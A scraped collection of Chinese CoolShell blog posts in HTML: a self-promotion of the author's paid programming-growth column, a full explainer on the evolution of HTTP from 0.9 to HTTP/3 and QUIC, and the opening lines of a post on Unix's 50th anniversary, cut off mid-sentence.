    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium\" height=\"262\" src=\"../wp-content/uploads/2018/05/专栏-300x262.jpg\" width=\"300\"/>写极客时间8个月了，我的专栏现在有一定的积累了，今天想自己推荐一下。因为最新的系列《程序员练级攻略（2018）版》正在连载中，而且文章积累量到了我也有比较足的自信向大家推荐我的这个专栏了。推荐就从最新的这一系统的文章开始。</p>\n<p>2011年，我在 <a href=\"https://coolshell.cn/\">CoolShell</a> 上发表了 《<a href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a>》一文，得到了很多人的好评（转载的不算，在我的网站上都有近1000W的访问量了）。并且陆续收到了一些人的反馈，说跟着这篇文章找到了不错的工作。几年过去，也收到了好些邮件和私信，希望我把这篇文章更新一下，因为他们觉得有点落伍了。是的，<strong>老实说，抛开这几年技术的更新迭代不说，那篇文章写得也不算特别系统，同时标准也有点低，当时是给一个想要入门的朋友写的，所以，非常有必要从头更新一下《程序员练级攻略》这一主题</strong>。</p>\n<p>目前，我在我极客时间的专栏上更新《程序员练级攻略（2018版）》。升级版的《程序员练级攻略》会比Coolshell上的内容更多，也更专业。这篇文章有【入门篇】、【修养篇】、【专业基础篇】、【软件设计篇】、【高手成长篇】五大篇章，它们会帮助你从零开始，一步步地，系统地，从陌生到熟悉，到理解掌握，从编码到设计再到架构，从码农到程序员再到工程师再到架构师的一步一步进阶，完成从普通到精通到卓越的完美转身……</p>\n<p>这篇文章是我写得最累也是最痛苦的文章，原因如下：</p>\n<ul>\n<li> <strong>学习路径的梳理</strong>。这是一份计算编程相关知识地图，也是一份成长和学习路径。所以有太多的推敲了，知识的路径，体，地图……这让我费了很多工夫，感觉像在编写一本教材一样，即不能太高大上，也不能误人子弟。</li>\n<li><strong>新旧知识的取舍。</strong>另外，因为我的成长经历中很多技术都成了过去时，所以对于新时代的程序员应该学习新的技术，然后，很多基础技术在今天依然管用，所以，在这点上，哪些要那些不要，也花了我很多的工夫。</li>\n<li><strong>文章书籍的推荐</strong>。为了推荐最好的学习资料和资源，老实说，我几乎翻遍了整个互联网，进行了大量的阅读和比较。这个过程让我也受益非浅。一开始，这篇文章的大小居然在500K左右，太多的信息就是没有信息，所以在信息的筛选上我花费了很多的工夫，删掉了60%的内容。但是，依然很宠大。</li>\n</ul>\n<p><strong>总之，你一定会被这篇文章的内容所吓到的，是的，我就是故意这样做的，因为，这本来就没有什么捷径，也不可能速成，很多知识都是硬骨头，你只能一口一口的啃，我故意这样做就是为了让你不要有“速成”的幻想，也可以轻而一举的吓退那些不想用功不想努力的人</strong>。</p>\n<p>但是，我们也要知道《易经》有云：“<strong>取法其上，得乎其中，取法其中，得乎其下，取法其下，法不得也</strong>”。所以，我这里会给你立个比较高标准，你要努力达到，相信我，就算是达不到，也会比你一开始期望的要高很多……</p>\n<p>下面是这份练级攻略的目录，目前只在极客时间上发布，你需要付费阅读（在本文最后有相关的二维码）。</p>\n<p><span id=\"more-18360\"></span></p>\n<p><img alt=\"\" class=\"alignnone size-full aligncenter\" height=\"1937\" src=\"../wp-content/uploads/2018/05/程序员练级攻略.png\" width=\"290\"/></p>\n<p> </p>\n<p>那么，除程序员练级攻略外，我还写了哪些内容？下面是迄今为止我所有的文章的目录。你可以在下面看一下相关的目录。这也算是我开收费专栏来8个月给大家的一份答卷吧。我也没有想到，我居然写了这么多的文章，而且对很多人都很有用。</p>\n<p>首先是个人成长和经验之谈的东西，在这里的文章还没有完全更新完，未来要更新什么我也不清楚，但是可以呈现出来的内容和方向如下所示，供你参考。对于个人成长中的内容，都是我多年来的心得和体会，从读者的反馈来看是非常不错的，你一定要要阅读的。</p>\n<p><img alt=\"\" class=\"alignnone size-large aligncenter\" height=\"1024\" src=\"../wp-content/uploads/2018/05/个人成长和经验之谈-319x1024.png\" width=\"319\"/></p>\n<p>分布式系统架构，我一共出了两个系列，一个是分布式系统架构的本质，另一个是设计模式。前者偏概念，后者偏技术。这里旨在让你看到整个分布式系统设计的一个非常系统的蓝图，但是因为在手机端上，不可能写得非常细，所以，会缺失一些细节，这些细节我是故意缺失的，主要是有几方面的原因，</p>\n<ul>\n<li>一方面，这是为了阅读的效果，手机上的文章不过长，所以，不能有太多的细节。</li>\n<li>另一方面，也是是想留给大家自行学习，而不是一定要我把饭喂到你的嘴里，你才能吃得着。<strong>学习不只是为要答案，而是学方法</strong></li>\n<li>最后是我的私心，因为我也在创业，所以，技术细节上东西正是我在做的产品，所以，如果你想了解得更细，你需要和我有更商业合作。</li>\n</ul>\n<p><img alt=\"\" class=\"alignnone size-full aligncenter\" height=\"689\" src=\"../wp-content/uploads/2018/05/分布式架构的本质.png\" width=\"321\"/></p>\n<p> </p>\n<p><img alt=\"\" class=\"alignnone size-full aligncenter\" height=\"1065\" src=\"../wp-content/uploads/2018/05/分布式架构设计模式-弹力篇.png\" width=\"331\"/></p>\n<p><img alt=\"\" class=\"alignnone size-full aligncenter\" height=\"669\" src=\"../wp-content/uploads/2018/05/分布式架构设计模式-管理篇.png\" width=\"353\"/></p>\n<p><img alt=\"\" class=\"alignnone size-full aligncenter\" height=\"592\" src=\"../wp-content/uploads/2018/05/分布式架构设计模式-性能篇.png\" width=\"328\"/></p>\n<p>区块链的技术专栏本来不在我的写作计划中的，但是因为来问我这方面的技术人太多了，所以，就被问了一系列的文章，这里的文章除了一些技术上的科普，同样有有很多我的观点，你不但可以学到技术，还可以了解一些金融知识和相关的逻辑，我个人觉得这篇文章是让你有独立思考的文章。</p>\n<p><img alt=\"\" class=\"size-full alignnone aligncenter\" height=\"771\" src=\"../wp-content/uploads/2018/05/区块链技术.png\" width=\"304\"/></p>\n<p>我的专栏还在继续，接下来还有一个系列的文章——《从技术到管理》，欢迎关注，也欢迎扫码订阅。</p>\n<p><strong>最后友情提示一下：在手机上学习并不是最好的学习方式，也不要在我的专栏上进行学习，把我的专栏当成一个你的助手，当成一个向导，当成一个跳板，真正的学习还是要在线下，专心的，系统地、有讨论地、不断实践地学习，这点希望大家切记！</strong></p>\n<p> </p>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"580\" src=\"../wp-content/uploads/2018/05/专栏.jpg\" width=\"665\"/></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-10-1 HTTP的前世今生.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"200\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200.jpg\" width=\"300\"/>HTTP (Hypertext transfer protocol) 翻译成中文是超文本传输协议，是互联网上重要的一个协议，由欧洲核子研究委员会CERN的英国工程师 <a href=\"https://en.wikipedia.org/wiki/Tim_Berners-Lee\" title=\"\">Tim Berners-Lee</a> v发明的，同时，他也是WWW的发明人，最初的主要是用于传递通过HTML封装过的数据。在1991年发布了HTTP 0.9版，在1996年发布1.0版，1997年是1.1版，1.1版也是到今天为止传输最广泛的版本（初始<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc2068\" rel=\"nofollow\">RFC 2068</a> 在1997年发布， 然后在1999年被 <a class=\"external text\" href=\"https://tools.ietf.org/html/rfc2616\" rel=\"nofollow\">RFC 2616</a> 取代，再在2014年被 <a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7230\" rel=\"nofollow\">RFC 7230</a> /<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7231\" rel=\"nofollow\">7231</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7232\" rel=\"nofollow\">7232</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7233\" rel=\"nofollow\">7233</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7234\" rel=\"nofollow\">7234</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7235\" rel=\"nofollow\">7235</a>取代），2015年发布了2.0版，其极大的优化了HTTP/1.1的性能和安全性，而2018年发布的3.0版，继续优化HTTP/2，激进地使用UDP取代TCP协议，目前，HTTP/3 在2019年9月26日 被 Chrome，Firefox，和Cloudflare支持，所以我想写下这篇文章，简单地说一下HTTP的前世今生，让大家学到一些知识，并希望可以在推动一下HTTP标准协议的发展。</p>\n<h4>HTTP 0.9 / 1.0</h4>\n<p>0.9和1.0这两个版本，就是最传统的 request – response的模式了，HTTP 0.9版本的协议简单到极点，请求时，不支持请求头，只支持 <code>GET</code> 方法，没了。HTTP 1.0 扩展了0.9版，其中主要增加了几个变化：</p>\n<p><span id=\"more-19840\"></span></p>\n<ul>\n<li>在请求中加入了HTTP版本号，如：<code>GET /coolshell/index.html HTTP/1.0</code></li>\n<li>HTTP 开始有 header了，不管是request还是response 都有header了。</li>\n<li>增加了HTTP Status Code 标识相关的状态码。</li>\n<li>还有 <code>Content-Type</code> 可以传输其它的文件了。</li>\n</ul>\n<p>我们可以看到，HTTP 1.0 开始让这个协议变得很文明了，一种工程文明。因为：</p>\n<ul>\n<li>一个协议有没有版本管理，是一个工程化的象征。</li>\n<li>header是协议可以说是把元数据和业务数据解耦，也可以说是控制逻辑和业务逻辑的分离。</li>\n<li>Status Code 的出现可以让请求双方以及第三方的监控或管理程序有了统一的认识。最关键是还是控制错误和业务错误的分离。</li>\n</ul>\n<p>（注：国内很多公司HTTP无论对错只返回200，这种把HTTP Status Code 全部抹掉完全是一种工程界的倒退）</p>\n<p>但是，HTTP1.0性能上有一个很大的问题，那就是每请求一个资源都要新建一个TCP链接，而且是串行请求，所以，就算网络变快了，打开网页的速度也还是很慢。所以，HTTP 1.0 应该是一个必需要淘汰的协议了。</p>\n<h4> HTTP/1.1</h4>\n<p>HTTP/1.1 主要解决了HTTP 1.0的网络性能的问题，以及增加了一些新的东西：</p>\n<ul>\n<li>可以设置 <code>keepalive</code> 来让HTTP重用TCP链接，重用TCP链接可以省了每次请求都要在广域网上进行的TCP的三次握手的巨大开销。这是所谓的“<strong>HTTP 长链接</strong>” 或是 “<strong>请求响应式的HTTP 持久链接</strong>”。英文叫 HTTP Persistent connection.</li>\n<li>然后支持pipeline网络传输，只要第一个请求发出去了，不必等其回来，就可以发第二个请求出去，可以减少整体的响应时间。（注：非幂等的POST 方法或是有依赖的请求是不能被pipeline化的）</li>\n<li>支持 Chunked Responses ，也就是说，在Response的时候，不必说明 <code>Content-Length</code> 这样，客户端就不能断连接，直到收到服务端的EOF标识。这种技术又叫 “<strong>服务端Push模型</strong>”，或是 “<strong>服务端Push式的HTTP 持久链接</strong>”</li>\n<li>还增加了 cache control 机制。</li>\n<li>协议头注增加了 Language, Encoding, Type 等等头，让客户端可以跟服务器端进行更多的协商。</li>\n<li>还正式加入了一个很重要的头—— <code><a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Host\" rel=\"noopener noreferrer\" target=\"_blank\">HOST</a></code>这样的话，服务器就知道你要请求哪个网站了。因为可以有多个域名解析到同一个IP上，要区分用户是请求的哪个域名，就需要在HTTP的协议中加入域名的信息，而不是被DNS转换过的IP信息。</li>\n<li>正式加入了 <code>OPTIONS</code> 方法，其主要用于 <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS\" rel=\"noopener noreferrer\" target=\"_blank\">CORS – Cross Origin Resource Sharing</a> 应用。</li>\n</ul>\n<p>HTTP/1.1应该分成两个时代，一个是2014年前，一个是2014年后，因为2014年HTTP/1.1有了一组RFC（<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7230\" rel=\"nofollow\">7230</a> /<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7231\" rel=\"nofollow\">7231</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7232\" rel=\"nofollow\">7232</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7233\" rel=\"nofollow\">7233</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7234\" rel=\"nofollow\">7234</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7235\" rel=\"nofollow\">7235</a>），这组RFC又叫“HTTP/2 预览版”。其中影响HTTP发展的是两个大的需求：</p>\n<ul>\n<li>一个需要是加大了HTTP的安全性，这样就可以让HTTP应用得广泛，比如，使用TLS协议。</li>\n<li>另一个是让HTTP可以支持更多的应用，在HTTP/1.1 下，HTTP已经支持四种网络协议：\n<ul>\n<li>传统的短链接。</li>\n<li>可重用TCP的的长链接模型。</li>\n<li>服务端push的模型。</li>\n<li>WebSocket模型。</li>\n</ul>\n</li>\n</ul>\n<p>自从2005年以来，整个世界的应用API越来多，这些都造就了整个世界在推动HTTP的前进，我们可以看到，<strong>自2014的HTTP/1.1 以来，这个世界基本的应用协议的标准基本上都是向HTTP看齐了，也许2014年前，还有一些专用的RPC协议，但是2014年以后，HTTP协议的增强，让我们实在找不出什么理由不向标准靠拢，还要重新发明轮子了。</strong></p>\n<h4>HTTP/2</h4>\n<p>虽然 HTTP/1.1 已经开始变成应用层通讯协议的一等公民了，但是还是有性能问题，虽然HTTP/1.1 可以重用TCP链接，但是请求还是一个一个串行发的，需要保证其顺序。然而，大量的网页请求中都是些资源类的东西，这些东西占了整个HTTP请求中最多的传输数据量。所以，理论上来说，如果能够并行这些请求，那就会增加更大的网络吞吐和性能。</p>\n<p>另外，HTTP/1.1传输数据时，是以文本的方式，借助耗CPU的zip压缩的方式减少网络带宽，但是耗了前端和后端的CPU。这也是为什么很多RPC协议诟病HTTP的一个原因，就是数据传输的成本比较大。</p>\n<p>其实，在2010年时，Google 就在搞一个实验型的协议，这个协议叫<a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a>，这个协议成为了HTTP/2的基础（也可以说成HTTP/2就是SPDY的复刻）。HTTP/2基本上解决了之前的这些性能问题，其和HTTP/1.1最主要的不同是：</p>\n<ul>\n<li>HTTP/2是一个二进制协议，增加了数据传输的效率。</li>\n<li>HTTP/2是可以在一个TCP链接中并发请求多个HTTP请求，移除了HTTP/1.1中的串行请求。</li>\n<li>HTTP/2会压缩头，如果你同时发出多个请求，他们的头是一样的或是相似的，那么，协议会帮你消除重复的部分。这就是所谓的HPACK算法（参看<a class=\"external mw-magiclink-rfc\" href=\"https://tools.ietf.org/html/rfc7541\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">RFC 7541</a> 附录A）</li>\n<li>HTTP/2允许服务端在客户端放cache，又叫服务端push，也就是说，你没有请求的东西，我服务端可以先送给你放在你的本地缓存中。比如，你请求X，我服务端知道X依赖于Y，虽然你没有的请求Y，但我把把Y跟着X的请求一起返回客户端。</li>\n</ul>\n<p>对于这些性能上的改善，在Medium上有篇文章你可看一下相关的细节说明和测试“<a href=\"https://medium.com/@factoryhr/http-2-the-difference-between-http-1-1-benefits-and-how-to-use-it-38094fa0e95b\" rel=\"noopener noreferrer\" target=\"_blank\">HTTP/2: the difference between HTTP/1.1, benefits and how to use it</a>”</p>\n<p>当然，还需要注意到的是HTTP/2的协议复杂度比之前所有的HTTP协议的复杂度都上升了许多许多，其内部还有很多看不见的东西，比如其需要维护一个“优先级树”来用于来做一些资源和请求的调度和控制。如此复杂的协议，自然会产生一些不同的声音，或是降低协议的可维护和可扩展性。所以也有一些争议。尽管如此，HTTP/2还是很快地被世界所采用。</p>\n<p>HTTP/2 是2015年推出的，其发布后，Google 宣布移除对SPDY的支持，拥抱标准的 HTTP/2。过了一年后，就有8.7%的网站开启了HTTP/2，根据 <a href=\"https://w3techs.com/technologies/details/ce-http2/all/all\" rel=\"noopener noreferrer\" target=\"_blank\">这份报告</a> ，截止至本文发布时（2019年10月1日 ）， 在全世界范围内已经有41%的网站开启了HTTP/2。</p>\n<p>HTTP/2的官方组织在 Github 上维护了一份<a href=\"https://github.com/http2/http2-spec/wiki/Implementations\" rel=\"noopener noreferrer\" target=\"_blank\">各种语言对HTTP/2的实现列表</a>，大家可以去看看。</p>\n<p>我们可以看到，HTTP/2 在性能上对HTTP有质的提高，所以，HTTP/2 被采用的也很快，所以，<strong>如果你在你的公司内负责架构的话，HTTP/2是你一个非常重要的需要推动的一个事，除了因为性能上的问题，推动标准落地也是架构师的主要职责，因为，你企业内部的架构越标准，你可以使用到开源软件，或是开发方式就会越有效率，跟随着工业界的标准的发展，你的企业会非常自然的享受到标准所带来的红利。</strong></p>\n<h4>HTTP/3</h4>\n<p>然而，这个世界没有完美的解决方案，HTTP/2也不例外，其主要的问题是：若干个HTTP的请求在复用一个TCP的连接，底层的TCP协议是不知道上层有多少个HTTP的请求的，所以，一旦发生丢包，造成的问题就是所有的HTTP请求都必需等待这个丢了的包被重传回来，哪怕丢的那个包不是我这个HTTP请求的。因为TCP底层是没有这个知识了。</p>\n<p>这个问题又叫<a href=\"https://en.wikipedia.org/wiki/Head-of-line_blocking\" rel=\"noopener noreferrer\" target=\"_blank\">Head-of-Line Blocking</a>问题，这也是一个比较经典的流量调度的问题。这个问题最早主要的发生的交换机上。下图来自Wikipedia。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"220\" src=\"../wp-content/uploads/2019/10/HOL_blocking.png\" width=\"423\"/></p>\n<p>图中，左边的是输入队列，其中的1，2，3，4表示四个队列，四个队列中的1，2，3，4要去的右边的output的端口号。此时，第一个队列和第三个队列都要写右边的第四个端口，然后，一个时刻只能处理一个包，所以，一个队列只能在那等另一个队列写完后。然后，其此时的3号或1号端口是空闲的，而队列中的要去1和3号端号的数据，被第四号端口给block住了。这就是所谓的HOL blocking问题。</p>\n<p>HTTP/1.1中的pipeline中如果有一个请求block了，那么队列后请求也统统被block住了；HTTP/2 多请求复用一个TCP连接，一旦发生丢包，就会block住所有的HTTP请求。这样的问题很讨厌。好像基本无解了。</p>\n<p>是的TCP是无解了，但是UDP是有解的 ！<strong>于是HTTP/3破天荒地把HTTP底层的TCP协议改成了UDP！</strong></p>\n<p>然后又是Google 家的协议进入了标准 – QUIC （Quick UDP Internet Connections）。接下来是QUIC协议的几个重要的特性，为了讲清楚这些特性，我需要带着问题来讲（注：下面的网络知识，如果你看不懂的话，你需要学习一下《<a href=\"https://book.douban.com/subject/1088054/\" rel=\"noopener noreferrer\" target=\"_blank\">TCP/IP详解</a>》一书（在我写blog的这15年里，这本书推荐了无数次了），或是看一下本站的《<a href=\"https://coolshell.cn/articles/11564.html\">TCP的那些事</a>》。）：</p>\n<ul>\n<li>首先是上面的Head-of-Line blocking问题，在UDP的世界中，这个就没了。这个应该比较好理解，因为UDP不管顺序，不管丢包（当然，QUIC的一个任务是要像TCP的一个稳定，所以QUIC有自己的丢包重传的机制）</li>\n<li>TCP是一个无私的协议，也就是说，如果网络上出现拥塞，大家都会丢包，于是大家都会进入拥塞控制的算法中，这个算法会让所有人都“冷静”下来，然后进入一个“慢启动”的过程，包括在TCP连接建立时，这个慢启动也在，所以导致TCP性能迸发地比较慢。QUIC基于UDP，使用更为激进的方式。同时，QUIC有一套自己的丢包重传和拥塞控制的协，一开始QUIC是重新实现一TCP 的 CUBIC算法，但是随着BBR算法的成熟（BBR也在借鉴CUBIC算法的数学模型），QUIC也可以使用BBR算法。这里，多说几句，<strong>从模型来说，以前的TCP的拥塞控制算法玩的是数学模型，而新型的TCP拥塞控制算法是以BBR为代表的测量模型</strong>，理论上来说，后者会更好，但QUIC的团队在一开始觉得BBR不如CUBIC的算法好，所以没有用。现在的BBR 2.x借鉴了CUBIC数学模型让拥塞控制更公平。这里有文章大家可以一读“<a href=\"https://medium.com/google-cloud/tcp-bbr-magic-dust-for-network-performance-57a5f1ccf437\" rel=\"noopener noreferrer\" target=\"_blank\">TCP BBR : Magic dust for network performance.</a>”</li>\n<li>接下来，现在要建立一个HTTPS的连接，先是TCP的三次握手，然后是TLS的三次握手，要整出六次网络交互，一个链接才建好，虽说HTTP/1.1和HTTP/2的连接复用解决这个问题，但是基于UDP后，UDP也得要实现这个事。于是QUIC直接把TCP的和TLS的合并成了三次握手（对此，在HTTP/2的时候，是否默认开启TLS业内是有争议的，反对派说，TLS在一些情况下是不需要的，比如企业内网的时候，而支持派则说，TLS的那些开销，什么也不算了）。</li>\n</ul>\n<table>\n<tbody>\n<tr>\n<td><img alt=\"\" height=\"300\" src=\"../wp-content/uploads/2019/10/http-request-over-tcp-tls@2x-292x300.png\" width=\"292\"/></td>\n<td><img alt=\"\" class=\"\" height=\"227\" src=\"../wp-content/uploads/2019/10/http-request-over-quic@2x-300x215.png\" width=\"312\"/></td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p>所以，QUIC是一个在UDP之上的伪TCP +TLS +HTTP/2的多路复用的协议。</p>\n<p>但是对于UDP还是有一些挑战的，这个挑战主要来自互联网上的各种网络设备，这些设备根本不知道是什么QUIC，他们看QUIC就只能看到的就是UDP，所以，在一些情况下，UDP就是有问题的，</p>\n<ul>\n<li>比如在NAT的环境下，如果是TCP的话，NAT路由或是代理服务器，可以通过记录TCP的四元组（源地址、源端口，目标地址，目标端口）来做连接映射的，然而，在UDP的情况下不行了。于是，QUIC引入了个叫connection id的不透明的ID来标识一个链接，用这种业务ID很爽的一个事是，如果你从你的3G/4G的网络切到WiFi网络（或是反过来），你的链接不会断，因为我们用的是connection id，而不是四元组。</li>\n</ul>\n<ul>\n<li>然而就算引用了connection id，也还是会有问题 ，比如一些不够“聪明”的等价路由交换机，这些交换机会通过四元组来做hash把你的请求的IP转到后端的实际的服务器上，然而，他们不懂connection id，只懂四元组，这么导致属于同一个connection id但是四元组不同的网络包就转到了不同的服务器上，这就是导致数据不能传到同一台服务器上，数据不完整，链接只能断了。所以，你需要更聪明的算法（可以参看 Facebook 的 <a href=\"https://github.com/facebookincubator/katran\" rel=\"noopener noreferrer\" target=\"_blank\">Katran</a> 开源项目 ）</li>\n</ul>\n<p>好了，就算搞定上面的东西，还有一些业务层的事没解，这个事就是 HTTP/2的头压缩算法 HPACK，HPACK需要维护一个动态的字典表来分析请求的头中哪些是重复的，HPACK的这个数据结构需要在encoder和decoder端同步这个东西。在TCP上，这种同步是透明的，然而在UDP上这个事不好干了。所以，这个事也必需要重新设计了，基于QUIC的QPACK就出来了，利用两个附加的QUIC steam，一个用来发送这个字典表的更新给对方，另一个用来ack对方发过来的update。</p>\n<p>目前看下来，HTTP/3目前看上去没有太多的协议业务逻辑上的东西，更多是HTTP/2 + QUIC协议。但，HTTP/3 因为动到了底层协议，所以，在普及方面上可能会比 HTTP/2要慢的多的多。但是，可以看到QUIC协议的强大，细思及恐，QUIC这个协议真对TCP是个威胁，如果QUIC成熟了，TCP是不是会有可能成为历史呢？</p>\n<p>未来十年，让我们看看UDP是否能够逆袭TCP……</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22263.html\"><img alt=\"从一次经历谈 TIME_WAIT 的那些事\" height=\"150\" src=\"../wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22263.html\">从一次经历谈 TIME_WAIT 的那些事</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11609.html\"><img alt=\"TCP 的那些事儿（下）\" height=\"150\" src=\"../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11609.html\">TCP 的那些事儿（下）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-11-3 Unix 50 年：Ken Thompson 的密码.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium\" height=\"186\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186.jpeg\" width=\"300\"/>50年前，除了Apollo上天之外，还有一个大事的发生，就是Unix操作系统的诞生，若干年前我写过《Unix的传奇，<a href=\"https://coolshell.cn/articles/2322.html\" rel=\"noopener noreferrer\" target=\"_blank\">上篇</a>，<a href=\"https://coolshell.cn/articles/2324.html\" rel=\"noopener noreferrer\" target=\"_blank\">下篇</a>》，Unix是我入行前十年伴我成长的操作系统，虽然现在Linux早已接过了Unix的时代交接棒，但是，Unix文化对我个人的技术观影响是非常大的（注：《<a href=\"https://book.douban.com/subject/1467587/\" rel=\"noopener noreferrer\" target=\"_blank\">Unix编程艺术</a>》是一本对影响我很深的书），而对于 <a href=\"https://en.wikipedia.org/wiki/Ken_Thompson\">Ken Thompson</a> 和 